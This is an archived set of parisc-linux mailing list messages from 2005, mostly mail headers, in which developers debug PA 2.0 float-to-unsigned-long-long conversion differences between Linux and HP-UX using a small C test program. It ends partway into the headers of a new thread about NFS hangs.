parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Mon, 18 Jul 2005 13:45:28 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20050718194528.GD11016@colo.lackof.org>
References: <20050714033206.GD4949@roadwarrior.mcmartin.ca>
	<200507140356.j6E3uShf022345@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623854 15695 80.91.229.3 (22 Nov 2014 02:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:34 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2005 19:40:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 18 Jul 2005 21:40:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5CAD7D6EB;
	Mon, 18 Jul 2005 13:40:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09265-05; Mon, 18 Jul 2005 13:40:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 054A27D6EE;
	Mon, 18 Jul 2005 13:40:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFA4F7D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jul 2005 13:40:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09265-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jul 2005 13:40:46 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6EE9F7D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jul 2005 13:40:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 11387298058;
	Mon, 18 Jul 2005 13:45:29 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14258-07; Mon, 18 Jul 2005 13:45:28 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BD1B1298013; Mon, 18 Jul 2005 13:45:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200507140356.j6E3uShf022345@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kWCuYpsWeSEka76WZHQhaXN1IGRvb0AU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22938

On Wed, Jul 13, 2005 at 11:56:28PM -0400, John David Anglin wrote:
...
> That's what I was thinking when I wrote the message.  Under linux,
> both the left and right halves of fr22 end up with 0x80000000.  Under
> hpux, the left result is 0x80000000 and the right 0.  The only other
> explanation is that the c3k fpu has a bug that's not present in an A500
> (doubtful).

If they are running at the same clock speed, they are likely to have
identical CPUs. Some of the 440Mhz boxes did roll CPU HW version
after initial release - including some SMP bugs that C3K wouldn't
be exposed to. I'm skeptical it's a bug in the FPU unless you
can demonstrate the same code works on another (newer) CPU model.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Mon, 18 Jul 2005 18:34:17 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200507182234.j6IMYHTK022578@hiauly1.hia.nrc.ca>
References: <20050718194528.GD11016@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623855 15699 80.91.229.3 (22 Nov 2014 02:37:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:35 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2005 22:34:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 19 Jul 2005 00:34:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06C3E7D6FA;
	Mon, 18 Jul 2005 16:34:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09559-08; Mon, 18 Jul 2005 16:34:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 027397D6FC;
	Mon, 18 Jul 2005 16:34:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73D5A7D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jul 2005 16:34:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09559-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jul 2005 16:34:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D55F67D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jul 2005 16:34:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6IMYHnV022579; Mon, 18 Jul 2005 18:34:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6IMYHTK022578;
	Mon, 18 Jul 2005 18:34:17 -0400 (EDT)
In-Reply-To: <20050718194528.GD11016@colo.lackof.org> from "Grant Grundler" at
	Jul 18, 2005 03:45:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JEuuYiYHeSEkO76WZHQhaXN1IGRvb0D1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22939

> On Wed, Jul 13, 2005 at 11:56:28PM -0400, John David Anglin wrote:
> ...
> > That's what I was thinking when I wrote the message.  Under linux,
> > both the left and right halves of fr22 end up with 0x80000000.  Under
> > hpux, the left result is 0x80000000 and the right 0.  The only other
> > explanation is that the c3k fpu has a bug that's not present in an =
> A500
> > (doubtful).
> 
> If they are running at the same clock speed, they are likely to have
> identical CPUs. Some of the 440Mhz boxes did roll CPU HW version
> after initial release - including some SMP bugs that C3K wouldn't
> be exposed to. I'm skeptical it's a bug in the FPU unless you
> can demonstrate the same code works on another (newer) CPU model.

Actually, it's the reverse.  I believe that the A500 is a 550 MHz
8600 and the C3K is a 875 MHz 8700.  It's really unclear which of
the new PA 2.0 floating-point instructions are actually supported
in hardware.  I'd have to do some timing tests to figure that out
as there's not much documentation.  It is clear that linux has code
in the kernel to handle the convert in question.

If we have a bunch of instructions that are emulated in the kernel,
it probably would be best if we disabled support for them in GCC and
used the PA 1.x code instead.  It's better tested and I doubt there
would be much of a performance hit.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "soete.joel" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Tue, 19 Jul 2005 18:41:47 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <IJVYHN$354379AA3907AD5E5A7B8AAF60BAA597@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623855 15701 80.91.229.3 (22 Nov 2014 02:37:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:35 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2005 17:42:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 19 Jul 2005 19:42:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B19E7D694;
	Tue, 19 Jul 2005 11:42:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16036-01; Tue, 19 Jul 2005 11:42:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C2267D68D;
	Tue, 19 Jul 2005 11:42:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85B147D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 11:41:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15435-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 11:41:57 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 9DAF57D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 11:41:56 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id j6JHflh06043; 
	Tue, 19 Jul 2005 19:41:47 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Kl6vYmhKeSEkV76WZHQhaXN1IGRvb0B1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22940

---------- Initial header -----------

>>From      : parisc-linux-bounces@lists.parisc-linux.org
To          : grundler@parisc-linux.org
CC          : kyle@mcmartin.ca,parisc-linux@lists.parisc-linux.org
Date      : Mon, 18 Jul 2005 18:34:17 -0400 (EDT)
Subject : Re: [parisc-linux] PA 2.0 float conversion to unsigned long lon=
g

> > On Wed, Jul 13, 2005 at 11:56:28PM -0400, John David Anglin wrote:
> > ...
> > > That's what I was thinking when I wrote the message.  Under linux,
> > > both the left and right halves of fr22 end up with 0x80000000.  Und=
er
> > > hpux, the left result is 0x80000000 and the right 0.  The only othe=
r
> > > explanation is that the c3k fpu has a bug that's not present in an =
=3D
> > A500
> > > (doubtful).
> > 
Dave would you mean that c3k was runing parisc-linux and a500 hpux?

> > If they are running at the same clock speed, they are likely to have
> > identical CPUs. Some of the 440Mhz boxes did roll CPU HW version
> > after initial release - including some SMP bugs that C3K wouldn't
> > be exposed to. I'm skeptical it's a bug in the FPU unless you
> > can demonstrate the same code works on another (newer) CPU model.
> 
> Actually, it's the reverse.  I believe that the A500 is a 550 MHz
> 8600 and the C3K is a 875 MHz 8700.
I doubt it help but with parisc-linux, I also encounter the same pb with =
a
pa8000 180mhz (d380), as well as on a pa8600 440Mhz (b2k) or same pa8600
550Mhz (n4k smp)

(sorry no pa2.0 running hpux on which I could install gcc :_( ) 

> It's really unclear which of
> the new PA 2.0 floating-point instructions are actually supported
> in hardware.  I'd have to do some timing tests to figure that out
> as there's not much documentation.  It is clear that linux has code
> in the kernel to handle the convert in question.
> 
mmm fwiw, when I did the test replacing float with double as:
unsigned long long
d2ull(double f)
{
  return (unsigned long long int) f;
}

int
main ()
{
  unsigned long long x1, x2;

  x1 =3D ((~0ULL) >> 1);
  x2 =3D ((~0ULL) >> 1);

  printf("x1 =3D 0x%llx\n", x1);
  printf("d2ull((double) x1) =3D 0x%llx\n", d2ull((double) x1));

  printf("(~0ULL) >> 1 =3D 0x%llx\n", (~0ULL) >> 1);
  printf("((~0ULL) >> 1) + 1 =3D 0x%llx\n", ((~0ULL) >> 1) + 1);

  if (d2ull((double) x1) !=3D (~0ULL) >> 1 &&  /* 0x7fffffff */
      d2ull((double) x2) !=3D ((~0ULL) >> 1) + 1)
    abort();
  return 0;
}
/*
x1 =3D 0x7fffffffffffffff
d2ull((double) x1) =3D 0x8000000000000000
(~0ULL) >> 1 =3D 0x7fffffffffffffff
((~0ULL) >> 1) + 1 =3D 0x8000000000000000
 */

(I just used x var to encounter the 'ull -> float' in main() too)

Is there some pb in sgl -> udw convertion?

Joel=0A=0A-------------------------------------------------------=0ANOTE!=
 My email address is changing to ... @scarlet.be=0APlease make the necess=
ary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Tue, 19 Jul 2005 14:29:19 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200507191829.j6JITJl1028390@hiauly1.hia.nrc.ca>
References: <IJVYHN$354379AA3907AD5E5A7B8AAF60BAA597@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623855 15705 80.91.229.3 (22 Nov 2014 02:37:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:35 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (soete.joel)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2005 18:29:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 19 Jul 2005 20:29:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C46E57D681;
	Tue, 19 Jul 2005 12:29:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16982-06; Tue, 19 Jul 2005 12:29:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1AE7D683;
	Tue, 19 Jul 2005 12:29:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F7387D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 12:29:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16129-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 12:29:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CF6657D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 12:29:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6JITKnV028391; Tue, 19 Jul 2005 14:29:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6JITJl1028390;
	Tue, 19 Jul 2005 14:29:19 -0400 (EDT)
In-Reply-To: <IJVYHN$354379AA3907AD5E5A7B8AAF60BAA597@scarlet.be> from
	"soete.joel" at Jul 19, 2005 01:41:47 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xCOvYgQoeSEkW76WZHQhaXN1IGRvb0CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22941

> Dave would you mean that c3k was runing parisc-linux and a500 hpux?

Correct.

> Is there some pb in sgl -> udw convertion?

Could be.  There is a significant different between PA 1.x and 2.0
in this respect.  PA 2.0 has "hardware" instructions to do these
conversions.  GCC currently uses these instructions when generating
PA 2.0 code.

Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Machine hanging during high-traffic NFS
Date: Tue, 19 Jul 2005 15:02:55 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <42DD6A7F.8090706@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623856 15707 80.91.229.3 (22 Nov 2014 02:37:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2005 21:03:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 19 Jul 2005 23:03:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1DAA7D689;
	Tue, 19 Jul 2005 15:03:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24677-03; Tue, 19 Jul 2005 15:03:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D50DF7D68B;
	Tue, 19 Jul 2005 15:03:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FDD17D688
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 15:02:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18309-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 15:02:58 -0600 (MDT)
Original-Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id DEBF67D687
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 15:02:57 -0600 (MDT)
Original-Received: from pd5mr7so.prod.shaw.ca
	(pd5mr7so-qfe3.prod.shaw.ca [10.0.141.183]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IJW00G837SX5J50@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 19 Jul 2005 15:02:57 -0600 (MDT)
Original-Received: from pn2ml8so.prod.shaw.ca ([10.0.121.152])
	by pd5mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJW003C97SXILD0@pd5mr7so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 19 Jul 2005 15:02:57 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJW00L2J7SW5T@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 19 Jul 2005 15:02:57 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j6JL2tKg016342	for
	<parisc-linux@lists.parisc-linux.org>; Tue, 19 Jul 2005 15:02:56 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
